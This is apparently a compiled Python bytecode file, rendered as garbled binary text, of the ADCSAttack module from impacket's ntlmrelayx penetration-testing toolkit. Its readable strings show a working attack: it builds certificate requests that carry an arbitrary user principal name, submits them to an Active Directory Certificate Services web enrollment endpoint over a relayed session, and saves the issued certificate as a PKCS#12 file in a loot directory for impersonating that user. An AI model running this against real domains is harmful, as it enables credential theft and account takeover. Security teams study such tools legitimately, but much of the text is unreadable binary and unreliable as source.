o
    àý°jû  ã                   @   sž   d dl Z d dlZd dlZd dlmZ d dlZd dlmZ d dl	m
Z
 d dl	mZ d dlmZmZ d dlmZmZ d dlmZ d d	lmZ g ZG d
d„ dƒZdS )é    N)Úcrypto)Úx509)Úpkcs12)ÚNoEncryption)ÚExtensionNotFoundÚload_pem_x509_certificate)ÚNameOIDÚObjectIdentifier)Údefault_backend)ÚLOGc                   @   s^   e Zd ZedƒZdd„ Zeejfdd„ƒZ	edd„ ƒZ
edd	„ ƒZed
d„ ƒZedd„ ƒZdS )Ú
ADCSAttackz1.3.6.1.4.1.311.20.2.3c              
   C   sø  t  ¡ }| t jd¡ | jtv rt d| j ¡ d S | jj	}|d u r,| j 
d¡r*dnd}|}tj |¡}||kr@t d| ¡ n	t d||f ¡ |  || j| jj¡}| ¡  dd	¡ d
d¡ dd
¡}t d¡ |  || jj¡}d||f }ddt|ƒdœ}t d¡ | jjdd||d� t | j¡ | j ¡ }|jdkr¤t d¡ d S | ¡ }	t d|	 ¡ ¡}
t|
ƒdkr½t d¡ d S |
d }| j dd| ¡ | j ¡ }t d| ¡ | ¡  ¡ }t| ¡ tƒ d�}|   | jpó|  !|¡pód "|¡¡}|  #| $¡ |¡}t%j& '| jj(d  "|¡¡}t d!| ¡ z2t%j& )| jj(¡�s!t% *| jj(¡ t+|d"ƒ�}| ,|¡ W d   ƒ n	1 �s7w   Y  t d#¡ W n& t-�yh } zt d$¡ t d%|t. /|¡ ¡ f ¡ W Y d }~nd }~ww | jj�rzt d& "| jj¡¡ d S d S )'Ni   z3Skipping user %s since attack was already performedú$ÚMachineÚUserzUsing template name: %szUsing template name: %s (%s)Ú
Ú ú+z%2bú zCSR generated!zTMode=newreq&CertRequest=%s&CertAttrib=%s&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=zDMozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0z!application/x-www-form-urlencoded)z
User-AgentzContent-TypezContent-LengthzGetting certificate...ÚPOSTz/certsrv/certfnsh.asp)ÚbodyÚheaderséÈ   zQError getting certificate! Make sure you have entered valid certificate template.z#location="certnew.cer\?ReqID=(.*?)&r   zError obtaining certificate!ÚGETz/certsrv/certnew.cer?ReqID=zGOT CERTIFICATE! ID %s)Úbackendzcertificate_{0}z{}.pfxz!Writing PKCS#12 certificate to %sÚwbz(Certificate successfully written to filezSUnable to write certificate to file, printing B64 of certificate to console insteadz,Base64-encoded PKCS#12 certificate (%s): 
%sz/This certificate can also be used for user : {})0r   ÚPKeyÚgenerate_keyÚTYPE_RSAÚusernameÚELEVATEDr   ÚinfoÚconfigÚtemplateÚendswithÚurllibÚparseÚquoteÚgenerate_csrÚaltNameÚdecodeÚreplaceÚgenerate_certattributesÚlenÚclientÚrequestÚappendÚgetresponseÚstatusÚerrorÚreadÚreÚfindallr   Úencoder
   Ú_sanitize_filenameÚ_extract_certificate_identityÚformatÚgenerate_pfxÚto_cryptography_keyÚosÚpathÚjoinÚlootdirÚisdirÚmkdirÚopenÚwriteÚ	ExceptionÚbase64Ú	b64encode)ÚselfÚkeyÚcurrent_templateÚoriginal_templateÚcsrÚ
certAttribÚdatar   ÚresponseÚcontentÚfoundÚcertificate_idÚcertificateÚcert_objÚpfx_filenameÚcertificate_storeÚoutput_pathÚfÚe© rY   ú®/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.pyÚ_run*   sx   
 
ý





 ÿ
€ý
ÿzADCSAttack._runc              	   C   sd   t  d¡ t ¡ }|r|| ¡ _|r!| t ddd| ¡  ¡g¡ | 	| ¡ | 
| d¡ t ||¡S )NzGenerating CSR...s   subjectAltNameFs(   otherName:1.3.6.1.4.1.311.20.2.3;UTF8:%bÚsha256)r   r    r   ÚX509ReqÚget_subjectÚCNÚadd_extensionsÚX509Extensionr6   Ú
set_pubkeyÚsignÚdump_certificate_request)rH   r_   r(   Úcsr_typeÚreqrY   rY   rZ   r'   w   s   


zADCSAttack.generate_csrc                 C   s   t jd| |d tƒ d�}|S )Nó    )ÚnamerH   ÚcertÚcasÚencryption_algorithm)r   Úserialize_key_and_certificatesr   )rH   rR   Úpfx_datarY   rY   rZ   r:   ‡   s   ûzADCSAttack.generate_pfxc                 C   s   |rd  | |¡S d  | ¡S )Nz&CertificateTemplate:{}%0d%0aSAN:upn={}zCertificateTemplate:{})r9   )r"   r(   rY   rY   rZ   r+   “   s   
z"ADCSAttack.generate_certattributesc           	      C   s  z|j  tj¡}|D ]}|j ¡ }|r|  W S q
W n	 ty#   Y nw zJ|j t	j
¡}|j}| t	j¡D ]"}|j| jkrW|j}t|tƒrL|jddd�}| ¡ }|rW|  W S q5| t	j¡D ]}| ¡ }|rk|  W S q^W d S  tyx   Y d S  ty�   Y d S w )Nzutf-8Úignore)Úerrors)ÚsubjectÚget_attributes_for_oidr   ÚCOMMON_NAMEÚvalueÚstriprD   Ú
extensionsÚget_extension_for_classr   ÚSubjectAlternativeNameÚget_values_for_typeÚ	OtherNameÚtype_idÚUPN_OIDÚ
isinstanceÚbytesr)   ÚDNSNamer   )	Úclsri   Úcommon_namesÚ	attributers   Úsan_extensionÚsanÚ
other_nameÚdns_namerY   rY   rZ   r8   ™   sJ   

ÿþÿ

€
ÿþ	ûýýz(ADCSAttack._extract_certificate_identityc                 C   s   t  dd| ¡}| d¡}|S )Nz[^A-Za-z0-9._-]Ú_z._)r4   Úsubrt   )rh   Ú	sanitizedrY   rY   rZ   r7   º   s   
zADCSAttack._sanitize_filenameN)Ú__name__Ú
__module__Ú__qualname__r	   r{   r[   Ústaticmethodr   ÚFILETYPE_PEMr'   r:   r+   Úclassmethodr8   r7   rY   rY   rY   rZ   r   '   s    M


 r   )r4   rE   r<   ÚOpenSSLr   Úurllib.parser$   Úcryptographyr   Ú,cryptography.hazmat.primitives.serializationr   r   Úcryptography.x509r   r   Úcryptography.x509.oidr   r	   Úcryptography.hazmat.backendsr
   Úimpacketr   r   r   rY   rY   rY   rZ   Ú<module>   s   